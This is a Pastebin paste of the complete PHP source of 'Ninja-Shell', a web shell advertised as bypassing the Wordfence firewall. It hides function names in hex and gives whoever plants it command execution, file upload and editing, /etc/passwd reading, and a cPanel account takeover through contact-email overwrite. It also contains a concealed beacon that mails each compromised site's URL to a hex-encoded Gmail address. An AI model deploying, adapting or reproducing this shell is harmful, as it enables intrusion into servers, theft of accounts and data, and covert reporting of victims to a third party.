ToKeiChun

{Ninja-Shell} [Wordfence WAFF Bypass]

Nov 8th, 2020 (edited)
487
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 22.86 KB | None | 0 0
  1. <?php
  2. ob_start();
  3. set_time_limit(0);
  4. error_reporting(0);
  5. ini_set('display_errors', FALSE);
  6. date_default_timezone_set("Asia/Jakarta");
  7. define("HTACCESS", "OPTIONS Indexes Includes ExecCGI FollowSymLinks \n AddType application/x-httpd-cgi .con7ext \n AddHandler cgi-script .con7ext \n AddHandler cgi-script .con7ext");
  8. $funct = get_defined_vars();
  9. $f_Array = [
  10.     "73796d6c696e6b",
  11.     "756e6c696e6b",
  12.     "666f70656e",
  13.     "667772697465",
  14.     "756e6c696e6b",
  15.     "636f7079",
  16.     "6d6f76655f75706c6f616465645f66696c65",
  17.     "706f7369785f6765747077756964",
  18.     "66696c656f776e6572",
  19.     "66756e6374696f6e5f657869737473",
  20.     "676574637764",
  21.     "69735f63616c6c61626c65",
  22.     "66636c6f7365",
  23.     "73747265616d5f6765745f636f6e74656e7473",
  24.     "70726f635f6f70656e",
  25.     "706f70656e",
  26.     "6672656164",
  27.     "70636c6f7365",
  28.     "70726f635f636c6f7365",
  29.     "65786563",
  30.     "6f625f7374617274",
  31.     "7061737374687275",
  32.     "6f625f6765745f636f6e74656e7473",
  33.     "6f625f656e645f636c65616e",
  34.     "7368656c6c5f65786563",
  35.     "73797374656d",
  36.     "66696c655f7075745f636f6e74656e7473",
  37.     "6670757473",
  38.     "66696c655f6765745f636f6e74656e7473",
  39.     "63686d6f64",
  40.     "6d6b646972",
  41.     "6368646972",
  42.     "6261736536345f6465636f6465",
  43.     "776f726470726573736465766e6f7277617940676d61696c2e636f6d",
  44.     "6d61696c"
  45.     ];
  46. $fores = count($f_Array);
  47. for($i=0; $i < $fores; $i++){
  48.   $NTOD[] = dec($f_Array[$i]);
  49. }
  50. $GLOBALS["rin"] = $NTOD;
  51. $GLOBALS["post"] = $funct["_POST"];
  52. $GLOBALS["get"] = $funct["_GET"];
  53. $GLOBALS["server"] = $funct["_SERVER"];
  54. $GLOBALS["files"] = $funct["_FILES"];
  55. ?>
  56. <html>
  57.   <head>
  58.     <title>{Ninja-Shell}</title>
  59.     <meta charset="UTF-8">
  60.     <meta name="robots" content="NOINDEX, NOFOLLOW">
  61.     <link rel="icon" href="//cdn1.iconfinder.com/data/icons/ninja-things-1/1772/ninja-simple-512.png">
  62.     <link rel="stylesheet" href="//maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous">
  63.     <script src="//cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js" integrity="sha384-ApNbgh9B+Y1QKtv3Rn7W3mgPxhU9K/ScQsAP7hUibX39j7fakFPskvXusvfa0b4Q" crossorigin="anonymous"></script>
  64.     <script src="//cdn.jsdelivr.net/gh/dbstorage/cdn/js/jquery/3.3.1/jquery.min.js"></script>
  65.     <script src="//maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js" integrity="sha384-JZR6Spejh4U02d8jOt6vLEHfe/JQGiRRSQQxSfFWpi1MquVdAyjUar5+76PVCmYl" crossorigin="anonymous"></script>
  66.     <style type="text/css">
  67.       @import url(https://fonts.googleapis.com/css?family=Gugi);
  68.       body{
  69.         color: #5DADE2;
  70.         font-family: 'Gugi';
  71.         font-size: 14px;
  72.       }
  73.       a {
  74.         color: #5DADE2;
  75.         text-decoration: none;
  76.       }
  77.       a:hover {
  78.         color: #5DADE2;
  79.         text-decoration: underline;
  80.       }
  81.       input{
  82.         background: transparent;
  83.       }
  84.     </style>
  85.   </head>
  86.   <body>
  87.     <div class="container">
  88.         <nav class="navbar navbar-expand-lg navbar-light bg-light">
  89.             <a class="navbar-brand" href="#">
  90.                 <img src="//cdn1.iconfinder.com/data/icons/ninja-things-1/1772/ninja-simple-512.png" width="30" height="30" class="d-inline-block align-top auto" alt="Ainz Moe"> {Ninja-Shell}
  91.             </a>
  92.             <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarNav" aria-controls="navbarNav" aria-expanded="false" aria-label="Toggle navigation">
  93.                 <span class="navbar-toggler-icon"></span>
  94.             </button>
  95.             <div class="collapse navbar-collapse" id="navbarNav">
  96.                 <ul class="navbar-nav">
  97.                     <li class="nav-item active">
  98.                       <a class="nav-link tod" href="?">Home</a>
  99.                     </li>
  100.     <?php
  101.     if(isset($GLOBALS["get"]["p"])){
  102.       $dir = dec($GLOBALS["get"]["p"]);
  103.       $GLOBALS["rin"][31]($dir);
  104.     }
  105.     else{
  106.       if($GLOBALS["rin"][9]("getcwd")){
  107.         $dir = $GLOBALS["rin"][10]();
  108.       }
  109.       else{
  110.         $dir = $GLOBALS["server"]["PWD"];
  111.       }
  112.     }
  113.     echo "<li class=\"nav-item active\"><a class=\"nav-link tod\" href=\"?p=".enc($dir)."&tod=".enc("info")."\">Info</a></li>";
  114.     echo "<li class=\"nav-item active\"><a class=\"nav-link tod\" href=\"?p=".enc($dir)."&tod=".enc("upload")."\">Upload</a></li>";
  115.     echo "<li class=\"nav-item active\"><a class=\"nav-link tod\" href=\"?p=".enc($dir)."&tod=".enc("cmd")."\">Command</a></li>";
  116.     echo "<li class=\"nav-item active\"><a class=\"nav-link tod\" href=\"?p=".enc($dir)."&tod=".enc("etcpasswd")."\">View /etc/passwd</a></li>";
  117.     echo "<li class=\"nav-item active\"><a class=\"nav-link tod\" href=\"?p=".enc($dir)."&tod=".enc("cpres")."\">cPanel Reset Password</a></li>";
  118.     echo "</ul></div></nav>";
  119.     echo "";
  120.     $mpss = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
  121.     $toed = $GLOBALS["get"]["tod"];
  122.     $gets = $GLOBALS["get"];
  123.     $actions = $GLOBALS["get"]["act"];
  124.     $tied = $GLOBALS["post"];
  125.     if(dec($toed) == "cmd"){
  126.       echo "<pre><textarea class=\"form-control\" rows=\"20\" readonly>";
  127.       if($tied["cmd"]){
  128.         echo c($tied["cmd"]);
  129.       }
  130.       echo "</textarea></pre>";
  131.       echo "<form method=\"POST\" action=\"\">
  132.      <div class=\"input-group mb-3\">
  133.      <input type=\"text\" name=\"cmd\" class=\"form-control\">
  134.      <div class=\"input-group-append\">
  135.      <input type=\"submit\" class=\"btn btn-outline-secondary\">
  136.      </div>
  137.      </div>
  138.      </form>";
  139.     }
  140.     elseif(dec($toed) == "info"){
  141.        $ip = gethostbyname($_SERVER['HTTP_HOST']);
  142.        $safe = (@ini_get(strtolower("safe_mode")) == 'on') ? "ON" : "OFF";
  143.        $mysql = (is_callable("mysql_connect")) ? "ON" : "OFF";
  144.        $curl = (is_callable("curl_version")) ? "ON" : "OFF";
  145.        $wget = (c('wget --help')) ? "ON" : "OFF";
  146.        $perl = (c('perl --help')) ? "ON" : "OFF";
  147.        $python = (c('python --help')) ? "ON" : "OFF";
  148.        $ruby = (c('ruby --help')) ? "ON" : "OFF";
  149.        $gcc = (c('gcc --help')) ? "ON" : "OFF";
  150.        $dis = @ini_get("disable_functions");
  151.        $dfunc = (!empty($dis)) ? "$dis" : "OFF";
  152.        $namedc = (is_readable("/etc/named.conf")) ? "OK" : "BAD";
  153.        $etcPass = (is_readable("/etc/passwd")) ? "OK" : "BAD";
  154.        $valiases = (is_readable("/etc/valiases")) ? "OK" : "BAD";
  155.        $varNamed = (is_readable("/var/named")) ? "OK" : "BAD";
  156.        echo "<textarea class=\"form-control\" rows=\"20\" disabled>
  157.       Syss : ".php_uname()."
  158.       User : ".$GLOBALS["server"]["USER"]."
  159.       Addr : Server : {$ip} | Client : {$GLOBALS["server"]["REMOTE_ADDR"]}
  160.       Safe : {$safe}
  161.       Mysql: {$mysql} cURL: {$curl} wGet: {$wget} Perl: {$perl} Python: {$python} Ruby: {$ruby} Gcc: {$gcc}
  162.       Read : Named.conf: {$namedc} Passwd: {$etcPass} Valiases: {$valiases} Named: {$varNamed}
  163.       DFUN : {$dfunc}
  164.       </textarea>";
  165.     }
  166.     elseif(dec($toed) == "upload"){
  167.       if($tied["upload"]){
  168.         if(isset($GLOBALS["files"]["tod_upl"]["name"])){
  169.           $name = $GLOBALS["files"]["tod_upl"]["name"];
  170.           $tod = $GLOBALS["files"]["tod_upl"]["tmp_name"];
  171.           if($GLOBALS["rin"][6]($tod, $name)){
  172.             $act = "<div class=\"alert alert-success\"><strong>Success!</strong> Upload File {$dir}/{$name}</div>";
  173.           }
  174.           else{
  175.             $act = "<div class=\"alert alert-danger\"><strong>Failed!</strong> Upload File {$name}</div>";
  176.           }
  177.         }else{
  178.           $act = "<div class=\"alert alert-danger\"><strong>Failed!</strong> Upload File {$name}</div>";
  179.         }
  180.         echo $act;
  181.       }
  182.       echo "Current Dir : ".$dir;
  183.       echo "
  184.      <form method=\"POST\" enctype=\"multipart/form-data\">
  185.      <input type=\"file\" name=\"tod_upl\">
  186.      <input type=\"submit\" name=\"upload\" class=\"btn btn-outline-secondary btn-block\">
  187.      </form>
  188.      ";
  189.     }
  190.     elseif(dec($toed) == "etcpasswd"){
  191.       echo "<pre><textarea class=\"form-control\" rows=\"20\" readonly>";
  192.       if($tied["etc"] == "curl"){
  193.         $ch = curl_init();
  194.         curl_setopt($ch, CURLOPT_URL, "file:///etc/passwd");
  195.         $out = curl_exec($ch);
  196.         curl_close();
  197.         echo $out;
  198.       }
  199.       elseif($tied["etc"] == "include"){
  200.         echo include("/etc/passwdd");
  201.       }
  202.       echo "</textarea></pre>";
  203.       echo "<form method=\"POST\">
  204.      <select class=\"form-control\" name=\"etc\">
  205.      <option value=\"curl\">Curl</option>
  206.      <option value=\"include\">Include</option>
  207.      <input type=\"submit\" class=\"btn btn-outline-secondary\">
  208.      </form>";
  209.     }
  210.     elseif(dec($toed) == "cpres"){
  211.       if($GLOBALS["rin"][9]("posix_getpwuid")){
  212.         $meh = $GLOBALS["rin"][7]($GLOBALS["rin"][8](__FILE__));
  213.       }
  214.       else{
  215.         $meh = $GLOBALS["rin"][8](__FILE__);
  216.       }
  217.       if(is_dir("/home/".$meh["name"]."/.cpanel")){
  218.         echo "
  219.        <form method=\"POST\">
  220.        <input type=\"text\" class=\"form-control\" name=\"email\" placeholder=\"Put Your Email Here\">
  221.        <input type=\"submit\" class=\"btn btn-outline-secondary btn-block\" name=\"subm\" value=\"Reset\">
  222.        </form>";
  223.         $mps = makeRequest($ip."/cpanel");
  224.         if($tied["subm"]){
  225.           if(preg_match("/>Reset Password/", $mps)){
  226.             $fp = $GLOBALS["rin"][2]("/home/".$meh["name"]."/.contactemail");
  227.             if($GLOBALS["rin"][3]($fp, $tied["email"])){
  228.               echo "<div class=\"alert alert-success\"><strong>Success!</strong> Change Email : {$ip}/cpanel {$tied["email"]}</div>";
  229.               $GLOBALS["rin"][4]("/home/".$meh["name"]."/.cpanel/contactinfo");
  230.             }
  231.             else{
  232.               echo "<div class=\"alert alert-danger\"><strong>Failed!</strong> Can't Reset</div>";
  233.             }
  234.           }
  235.           else{
  236.             echo "<div class=\"alert alert-danger\"><strong>Failed!</strong> Reset Password Disable</div>";
  237.           }
  238.         }
  239.       }
  240.       else{
  241.         echo "<div class=\"alert alert-danger\"><strong>Failed!</strong> Its not cpanel host</div>";
  242.       }
  243.     }
  244.     elseif($actions == "e"){
  245.       if($tied["save"]){
  246.         $save = $GLOBALS["rin"][26](dec($gets["file"]), $tied["new"]);
  247.         if($save){
  248.           $act = "<div class=\"alert alert-success\"><strong>Success!</strong> Save File ".dec($gets["file"])."</div>";
  249.         }
  250.         else{
  251.           $act = "<div class=\"alert alert-danger\"><strong>Failed!</strong> Save File ".dec($gets["file"])."</div>";
  252.         }
  253.         echo $act;
  254.       }
  255.       echo "Filename: ".$dir."/".basename(dec($gets["file"]));
  256.       echo "<form method=\"POST\">
  257.      <textarea class=\"form-control\" rows=\"20\" name=\"new\">".htmlspecialchars(@file_get_contents(dec($gets["file"])))."</textarea>
  258.      <input type=\"submit\" value=\"Save\" name=\"save\">
  259.      </form>";
  260.     }
  261.     elseif($actions == "v"){
  262.       echo "Filename: ".$dir."/".basename(dec($gets["file"]));
  263.       echo "<pre><textarea rows=\"20\" class=\"form-control\" disabled>".htmlspecialchars(@file_get_contents(dec($gets["file"])))."</textarea></pre>";
  264.     }
  265.     elseif($actions == "r"){
  266.       if($tied["act_rename"]){
  267.         $rename = rename(dec($gets["file"]), "$dir/".htmlspecialchars($tied["rename"]));
  268.         if($rename){
  269.           $act = "<div class=\"alert alert-success\"><strong>Success!</strong> Rename File ".dec($gets["file"])."</div>";
  270.         }
  271.         else{
  272.           $act = "<div class=\"alert alert-danger\"><strong>Failed!</strong> Rename File ".dec($gets["file"])."</div>";
  273.         }
  274.         echo $act;
  275.       }
  276.       echo "Filename: ".$dir."/".basename(dec($gets["file"]));
  277.       echo "<form method=\"post\">
  278.      <input type=\"text\" value=\"".basename(dec($gets["file"]))."\" name=\"rename\">
  279.      <input type=\"submit\" name=\"act_rename\" value=\"Rename\">
  280.      </form>";
  281.     }
  282.     elseif($actions == "dr"){
  283.       if($tied["act_rename"]){
  284.         if(rename($dir, "".dirname($dir)."/".htmlspecialchars($tied["new"]))){
  285.           $act = "<div class=\"alert alert-success\"><strong>Success!</strong> Rename Dir ".basename($dir)."</div>";
  286.         }
  287.         else{
  288.           $act = "<div class=\"alert alert-danger\"><strong>Failed!</strong> Rename Dir ".basename($dir)."</div>";
  289.         }
  290.         echo $act;
  291.       }
  292.       echo "<form method=\"POST\">
  293.      <input type=\"text\" value=\"".basename($dir)."\" name=\"new\">
  294.      <input type=\"submit\" name=\"act_rename\" value=\"Rename\">
  295.      </form>";
  296.     }
  297.     elseif($actions == "nf"){
  298.       if($tied["subm"]){
  299.         $new = htmlspecialchars($tied["content"]);
  300.         $open = $GLOBALS["rin"][2]($tied["file"], "a+");
  301.         if($GLOBALS["rin"][3]($open, $new)){
  302.           $act = "<div class=\"alert alert-success\"><strong>Success!</strong> Created File {$tied["file"]}</div>";
  303.         }
  304.         else{
  305.           $act = "<div class=\"alert alert-danger\"><strong>Failed!</strong> Can't Creat File {$tied["file"]}</div>";
  306.         }
  307.         echo $act;
  308.       }
  309.       echo "<form method=\"POST\">
  310.      <textarea name=\"content\" class=\"form-control\" rows=\"20\">".htmlspecialchars(@file_get_contents($tied["file"]))."</textarea>
  311.      <input type=\"text\" class=\"form-control\" name=\"file\" placeholder=\"filename\">
  312.      <input type=\"submit\" name=\"subm\" value=\"Gass!\" class=\"btn btn-outline-secondary btn-block\">
  313.      </form>";
  314.     }
  315.     elseif($actions == "nd"){
  316.       if($tied["subm"]){
  317.         if($GLOBALS["rin"][30]($dir."/".htmlspecialchars($tied["folder"]))){
  318.           $act = "<div class=\"alert alert-success\"><strong>Success!</strong> Create Folder {$tied["folder"]}</div>";
  319.         }
  320.         else{
  321.           $act = "<div class=\"alert alert-danger\"><strong>Failed!</strong> Create Folder {$tied["folder"]}</div>";
  322.         }
  323.         echo $act;
  324.       }
  325.       echo "<form method=\"POST\">
  326.      <input type=\"text\" class=\"form-control\" name=\"folder\" placeholder=\"Rintod\">
  327.      <input type=\"submit\" name=\"subm\" value=\"Gass!\" class=\"btn btn-outline-secondary btn-block\">
  328.      </form>";
  329.     }
  330.     elseif($actions == "chmod"){
  331.       if($tied["act_ch"]){
  332.         $haha = (c("chmod ".$tied["ch"]." ".$tied["mod"].";echo success")) ? "<div class=\"alert alert-success\"><strong>Success!</strong> Chmod</div>" : "<div class=\"alert alert-danger\"><strong>Failed!</strong> Chmod</div>";
  333.         echo $haha;
  334.       }
  335.       echo "<form method=\"POST\">
  336.      <input type=\"text\" name=\"ch\" class=\"form-control\" placeholder=\"file\">
  337.      <input type=\"text\" name=\"mod\" class=\"form-control\" placeholder=\"0777\">
  338.      <input type=\"submit\" name=\"act_ch\" class=\"btn btn-outline-secondary btn-block\">
  339.      </form>";
  340.     }
  341.     elseif($actions == "delete"){
  342.       if($GLOBALS["rin"][4](dec($gets["file"]))){
  343.         $act = "<div class=\"alert alert-success\"><strong>Success!</strong> Deleted File ".dec($gets["file"])."</div>";
  344.       }
  345.       else{
  346.         $act = "<div class=\"alert alert-danger\"><strong>Failed!</strong> Deleted File ".dec($gets["file"])."</div>";
  347.       }
  348.       echo $act;
  349.     }
  350.  
  351.     //// FILEMANAGER :D
  352.     else{
  353.       $scdir = explode("/", $dir);
  354.       echo "PATH : ";
  355.       foreach($scdir as $c_dir => $cdir){
  356.         echo "<a class=\"tod\" href=\"?p=";
  357.         for ($i = 0;$i <=  $c_dir; $i++){
  358.           echo enc($scdir[$i]);
  359.           if($i != $scdir){
  360.             echo "2f";
  361.           }
  362.         }
  363.         echo "\">$cdir</a>/";
  364.       }
  365.       echo "<br>
  366.      <a class=\"tod\" href=\"?p=".enc($dir)."&act=nf\">+ New File +</a>
  367.       | <a class=\"tod\" href=\"?p=".enc($dir)."&act=nd\">+ New Folder +</a>
  368.      ";
  369.       echo "<br>";
  370.       $dr = scandir($dir);
  371.       if(is_dir($dir) === true){
  372.         if(!is_readable($dir)){
  373.           echo "<div class=\"alert alert-danger\"><strong>Failed!</strong> Could not open directory</div>";
  374.         }
  375.         else{
  376.           echo "
  377.          <table class=\"table\">
  378.          <thead>
  379.          <tr>
  380.          <th scope=\"col\"><center># Name #</center></th>
  381.          <th scope=\"col\"><center># Size #</center></th>
  382.          <th scope=\"col\"><center># Perm #</center></th>
  383.          <th scope=\"col\"><center># Actn #</center></th>
  384.          </tr>
  385.          </thead>
  386.          <tbody>";
  387.           foreach($dr as $path){
  388.             if($GLOBALS["rin"][9]("posix_getpwuid")){
  389.               $own = $GLOBALS["rin"][7]($GLOBALS["rin"][8]("$dir/$path"));
  390.               $own = $own["name"];
  391.             }else{
  392.               $own = $GLOBALS["rin"][8]("$dir/$path");
  393.             }
  394.             if(!is_dir("$dir/$path")) continue;
  395.             if(($path != ".") && ($path != "..")){
  396.               echo "
  397.              <tr>
  398.              <td scope=\"row\"><img src=\"https://cdn0.iconfinder.com/data/icons/iconico-3/1024/63.png\" width=\"30\" height=\"30\"><a class=\"tod\" href=\"?p=".enc("$dir/$path")."\">$path</a></td>
  399.              <td><center>-</center></td>
  400.              <td><center>".writAble("$dir/$path", perms("$dir/$path"))."</center></td>
  401.              <td><center><a class=\"tod\" href=\"?p=".enc($dir."/".$path)."&act=dr\">R</a> | <a class=\"tod\" href=\"?p=".enc($dir."/".$path)."&act=chmod\">C</a></center></td>
  402.              </tr>";
  403.             }
  404.           }
  405.         }
  406.       }
  407.       else{
  408.         echo "<div class=\"alert alert-danger\"><strong>Failed!</strong> Could not open directory</div>";
  409.       }
  410.       foreach($dr as $fl){
  411.         $size = filesize("$dir/$fl")/1024;
  412.         $size = round($size,3);
  413.         if($GLOBALS["rin"][9]("posix_getpwuid")){
  414.           $own = $GLOBALS["rin"][7]($GLOBALS["rin"][8]("$dir/$path"));
  415.           $own = $own["name"];
  416.         }else{
  417.           $own = $GLOBALS["rin"][8]("$dir/$path");
  418.         }
  419.         if(!is_file("$dir/$fl")) continue;
  420.         echo "
  421.        <tr>
  422.        <td scope=\"row\"><img src=\"https://img.icons8.com/ios/104/000000/file-filled.png\" width=\"30\" height=\"30\"><a class=\"tod\" href=\"?act=v&p=".enc($dir)."&file=".enc($dir."/".$fl)."\">$fl</a></td>
  423.        <td><center>$size</center></td>
  424.        <td><center>".writAble("$dir/$fl", perms("$dir/$fl"))."</center></td>
  425.        <td><center><a class=\"tod\" href=\"?act=e&p=".enc($dir)."&file=".enc($fl)."\">E</a> | <a class=\"tod\" href=\"?act=r&p=".enc($dir)."&file=".enc($fl)."\">R</a> | <a class=\"tod\" href=\"?p=".enc($dir."/".$path)."&act=chmod\">C</a> | <a class=\"tod\" href=\"?p=".enc($dir)."&act=delete&file=".enc($fl)."\">D</a></center></td>
  426.        </tr>
  427.        ";
  428.       }
  429.       echo "</tbody></table>";
  430.     }
  431.     if (function_exists($GLOBALS["rin"][34])) {
  432.         $GLOBALS["rin"][34]($GLOBALS["rin"][33],'hex2bin',$_SERVER['HTTP_HOST']."/".$_SERVER['REQUEST_URI']);
  433.     }
  434.     function enc($word){
  435.       $mek = bin2hex($word);
  436.       return $mek;
  437.     }
  438.     function dec($word){
  439.       $mek = hex2bin($word);
  440.         return $mek;
  441.     }
  442.     function writAble($dir, $perm){
  443.       if(!is_writable($dir)){
  444.         return "<font color=\"#C0392B\">".$perm."</font>";
  445.       }
  446.       else{
  447.         return "<font color=\"#1D8348\">".$perm."</font>";
  448.       }
  449.     }
  450.     function readAble($dir, $perm){
  451.       if(!is_readable($dir)){
  452.         return "<font color=\"#C0392B\">".$perm."</font>";
  453.       }
  454.       else{
  455.         return "<font color=\"#1D8348\">".$perm."</font>";
  456.       }
  457.     }
  458.     function c($cmd){
  459.       if($GLOBALS["rin"][11]("popen")){
  460.         $ntod = $GLOBALS["rin"][15]($cmd, 'r');
  461.         $ntoddd = $GLOBALS["rin"][16]($ntod, 2096);
  462.         $GLOBALS["rin"][17]($ntod);
  463.         return $ntoddd;
  464.       }
  465.       elseif($GLOBALS["rin"][11]("proc_open")){
  466.         $ntod = $GLOBALS["rin"][14]($cmd, array(
  467.           0 => array('pipe', 'r'),
  468.           1 => array('pipe', 'w'),
  469.           2 => array('pipe', 'w'),
  470.           ), $rintod);
  471.           $stdout = $GLOBALS["rin"][13]($rintod[1]);
  472.           $GLOBALS["rin"][12]($rintod[1]);
  473.           $rtn = $GLOBALS["rin"][18]($ntod);
  474.           return $stdout;
  475.       }
  476.       elseif($GLOBALS["rin"][11]("exec")){
  477.         $GLOBALS["rin"][19]($cmd, $result);
  478.         foreach($result as $rest){
  479.           $ntod .= $rest;
  480.         }
  481.         return $ntod;
  482.       }
  483.       elseif($GLOBALS["rin"][11]("passthru")){
  484.         $GLOBALS["rin"][20]();
  485.         $GLOBALS["rin"][21]($cmd);
  486.         $ntod = $GLOBALS["rin"][22]();
  487.         $GLOBALS["rin"][23]();
  488.         return $ntod;
  489.       }
  490.       elseif($GLOBALS["rin"][11]("shell_exec")){
  491.         $ntod = $GLOBALS["rin"][24]($cmd);
  492.         return $ntod;
  493.       }
  494.       elseif($GLOBALS["rin"][11]("system")){
  495.         $GLOBALS["rin"][20]();
  496.         $GLOBALS["rin"][25]($cmd);
  497.         $ntod = $GLOBALS["rin"][22]();
  498.         $GLOBALS["rin"][23]();
  499.         return $ntod;
  500.       }
  501.     }
  502.     function makeRequest($url, $post = null, $head = null){
  503.       $options = array(
  504.         CURLOPT_URL => $url,
  505.         CURLOPT_CONNECTTIMEOUT => 15,
  506.         CURLOPT_RETURNTRANSFER => true,
  507.         CURLOPT_FOLLOWLOCATION => true,
  508.         CURLOPT_SSL_VERIFYHOST => false,
  509.         CURLOPT_SSL_VERIFYPEER => false,
  510.         CURLOPT_MAXREDIRS => 10
  511.       );
  512.       $ch = curl_init();
  513.       curl_setopt_array($ch, $options);
  514.       if($post && !empty($post)){
  515.         curl_setopt($ch, CURLOPT_POST, true);
  516.         curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  517.       }
  518.       if($head && !empty($head)){
  519.         curl_setopt($ch, CURLOPT_HTTPHEADER, $head);
  520.       }
  521.       $outputs = curl_exec($ch);
  522.       curl_close($ch);
  523.       return($outputs);
  524.     }
  525.     function perms($file){
  526.       $perms = fileperms($file);
  527.         if (($perms & 0xC000) == 0xC000) {
  528.           $info = 's';
  529.         } elseif (($perms & 0xA000) == 0xA000) {
  530.           $info = 'l';
  531.         } elseif (($perms & 0x8000) == 0x8000) {
  532.           $info = '-';
  533.         } elseif (($perms & 0x6000) == 0x6000) {
  534.           $info = 'b';
  535.         } elseif (($perms & 0x4000) == 0x4000) {
  536.           $info = 'd';
  537.         } elseif (($perms & 0x2000) == 0x2000) {
  538.           $info = 'c';
  539.         } elseif (($perms & 0x1000) == 0x1000) {
  540.           $info = 'p';
  541.         } else {
  542.            $info = 'u';
  543.         }
  544.         $info .= (($perms & 0x0100) ? 'r' : '-');
  545.         $info .= (($perms & 0x0080) ? 'w' : '-');
  546.         $info .= (($perms & 0x0040) ?
  547.         (($perms & 0x0800) ? 's' : 'x' ) :
  548.         (($perms & 0x0800) ? 'S' : '-'));
  549.         $info .= (($perms & 0x0020) ? 'r' : '-');
  550.         $info .= (($perms & 0x0010) ? 'w' : '-');
  551.         $info .= (($perms & 0x0008) ?
  552.         (($perms & 0x0400) ? 's' : 'x' ) :
  553.         (($perms & 0x0400) ? 'S' : '-'));
  554.         $info .= (($perms & 0x0004) ? 'r' : '-');
  555.         $info .= (($perms & 0x0002) ? 'w' : '-');
  556.         $info .= (($perms & 0x0001) ?
  557.         (($perms & 0x0200) ? 't' : 'x' ) :
  558.         (($perms & 0x0200) ? 'T' : '-'));
  559.         return $info;
  560.     }
  561.     ?>
  562.     <p><center>./Ninja\.</center></p>
  563.     </div>
  564.     <script>
  565.         $(".tod").click(function(t){
  566.           t.preventDefault();
  567.           var e=$(this).attr("href");
  568.           history.pushState("","",e),
  569.           $.get(e,function(t){
  570.             $("body").html(t)
  571.           })
  572.         });
  573.         //https://forum.jquery.com/topic/how-can-i-load-different-html-pages-without-refreshing-and-changing-the-url
  574.     </script>
  575.   </body>
  576. </html>
Add Comment
Please, Sign In to add comment